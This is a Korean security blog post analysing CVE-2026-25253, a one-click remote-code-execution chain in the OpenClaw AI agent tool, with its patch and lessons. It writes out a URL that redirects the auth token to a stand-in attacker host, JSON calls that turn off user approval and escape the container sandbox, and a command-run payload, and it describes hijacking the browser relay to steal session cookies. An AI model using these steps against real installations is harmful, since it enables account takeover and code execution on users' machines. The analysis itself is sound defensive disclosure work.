Arang.dev
검색

OpenClaw 1-Click RCE 취약점(CVE-2026-25253) 심층 분석: 링크 클릭 한 번으로 루트 권한 탈취까지

최근 공개된 OpenClaw(구 Moltbot)의 치명적인 취약점 CVE-2026-25253을 분석합니다. 인증 토큰 유출과 WebSocket 하이재킹을 결합한 1-Click RCE 익스플로잇 체인을 상세히 파헤칩니다.

#OpenClaw#CVE-2026-25253#RCE#CSWSH#WebSocket#AI Agent

최근 AI 에이전트 도구인 **OpenClaw (구 Clawdbot/Moltbot)**에서 치명적인 보안 취약점이 발견되었습니다. CVE-2026-25253으로 명명된 이 취약점은 피해자가 악성 링크를 클릭하는 것만으로(1-Click) 공격자가 원격에서 시스템 제어권을 탈취할 수 있게 만듭니다.

이 글에서는 DepthFirst와 ZeroPath 팀이 공개한 분석 내용을 바탕으로, 이 취약점이 어떻게 인증 토큰 유출부터 원격 코드 실행(RCE)까지 이어지는지 기술적 원리를 상세히 분석해보겠습니다.

1. 취약점 개요

  • CVE-ID: CVE-2026-25253
  • 영향받는 버전: v2026.1.24-1 이하
  • 심각도: Critical (CVSS 8.8 ~ 9.8 예상)
  • 공격 벡터: 악성 웹사이트 방문 또는 링크 클릭

이 공격은 단일 버그가 아닌, 여러 논리적 결함이 연결된 **익스플로잇 체인(Exploit Chain)**입니다.

2. 익스플로잇 체인 분석

공격 과정은 크게 3단계로 나뉩니다: 토큰 유출 → WebSocket 하이재킹 → 샌드박스 무력화 및 RCE.

단계 1: 인증 토큰 유출 (Auth Token Leak)

OpenClaw는 URL 쿼리 파라미터를 통해 Gateway 연결 설정을 변경할 수 있는 기능을 가지고 있었습니다.

  1. 설정 변경: app-settings.ts는 gatewayUrl 파라미터를 검증 없이 받아들여 로컬 설정에 저장합니다.
  2. 자동 연결: 설정이 변경되면 app-lifecycle.ts가 즉시 새로운 Gateway로 연결을 시도합니다.
  3. 토큰 전송: 연결 시 핸드셰이크 과정에서 민감한 authToken을 자동으로 전송합니다.

공격자는 이를 이용해 피해자를 다음과 같은 URL로 유도합니다:

http://victim-openclaw-dashboard.com?gatewayUrl=ws://attacker.com:8080

피해자가 이 링크를 클릭하면, OpenClaw 대시보드는 공격자의 서버(attacker.com)로 연결을 시도하며 인증 토큰을 공격자에게 상납하게 됩니다.

단계 2: 로컬호스트 우회 (CSWSH)

대부분의 OpenClaw 사용자는 로컬(localhost) 환경에서 에이전트를 실행합니다. 공격자가 토큰을 얻었다 해도, 외부 인터넷에서 피해자의 localhost에 직접 접속할 수는 없습니다.

하지만 여기서 두 번째 취약점이 등장합니다: WebSocket Origin 검증 부재.

OpenClaw의 WebSocket 서버는 요청의 Origin 헤더를 검증하지 않습니다. 이는 CSWSH (Cross-Site WebSocket Hijacking) 공격을 가능하게 합니다.

  1. 피해자가 공격자의 웹사이트(attacker.com)에 머무르는 동안,
  2. 공격자의 자바스크립트 코드가 피해자의 브라우저를 통해 ws://localhost:18789로 WebSocket 연결을 시도합니다.
  3. 앞서 탈취한 authToken을 사용하여 인증을 통과합니다.

브라우저는 HTTP 요청과 달리 WebSocket 연결에 대해 SOP(Same Origin Policy)를 엄격하게 적용하지 않으며, 서버 측의 검증 부재로 인해 연결이 성립됩니다.

단계 3: 샌드박스 무력화 및 RCE

연결에 성공한 공격자는 이제 OpenClaw API를 호출할 수 있는 권한을 얻었습니다. 하지만 OpenClaw는 위험한 명령어 실행 시 사용자 승인을 요구하거나 컨테이너 샌드박스 내에서 실행하는 보호 장치가 있습니다.

그러나 공격자는 관리자 권한 토큰을 가지고 있으므로, API를 통해 이 보호 장치마저 꺼버릴 수 있습니다.

  1. 사용자 승인 비활성화:
    {
      "method": "exec.approvals.set",
      "params": { "defaults": { "ask": "off" } }
    }
  2. 컨테이너 탈출: 실행 호스트를 gateway(호스트 머신)로 변경.

마지막으로, 제약이 사라진 상태에서 임의의 명령어를 실행합니다.

{
  "method": "node.invoke",
  "params": {
    "command": "system.run",
    "params": { "cmd": "bash -c 'echo hacked > /tmp/hacked'" }
  }
}

3. 또 다른 위협: 브라우저 릴레이 악용

ZeroPath 팀은 또 다른 벡터를 발견했습니다. OpenClaw의 브라우저 제어용 릴레이 서버(/cdp 엔드포인트) 역시 Origin 검증이 없어, 악성 웹사이트가 로컬 WebSocket(ws://127.0.0.1:18792/cdp)에 접속하여 Chrome DevTools Protocol을 제어할 수 있었습니다.

이를 통해 공격자는 피해자의 브라우저에 열려 있는 다른 탭(Gmail, 사내망 등)의 쿠키나 세션을 탈취할 수 있습니다.

4. 대응 및 교훈

OpenClaw 팀은 해당 취약점을 제보받은 즉시 패치를 배포했습니다.

  • 패치 내용: Gateway URL 변경 시 사용자 확인 절차 추가, WebSocket Origin 검증 강화, 샌드박스 설정 API 접근 제한 등.
  • 사용자 조치: 즉시 최신 버전으로 업데이트하고, 만약 구버전을 사용 중이었다면 인증 토큰을 재발급받아야 합니다.

이 사례는 **"편의성을 위한 기능(URL을 통한 설정 변경)이 보안의 가장 큰 구멍이 될 수 있다"**는 교훈을 줍니다. 또한 로컬호스트에서 실행되는 서비스라도 CSWSH 공격에 대비해 Origin 헤더 검증이 필수적임을 다시 한번 상기시켜 줍니다.


Reference:

댓글

댓글을 불러오는 중...
OpenClaw 1-Click RCE 취약점(CVE-2026-25253) 심층 분석: 링크 클릭 한 번으로 루트 권한 탈취까지 | Arang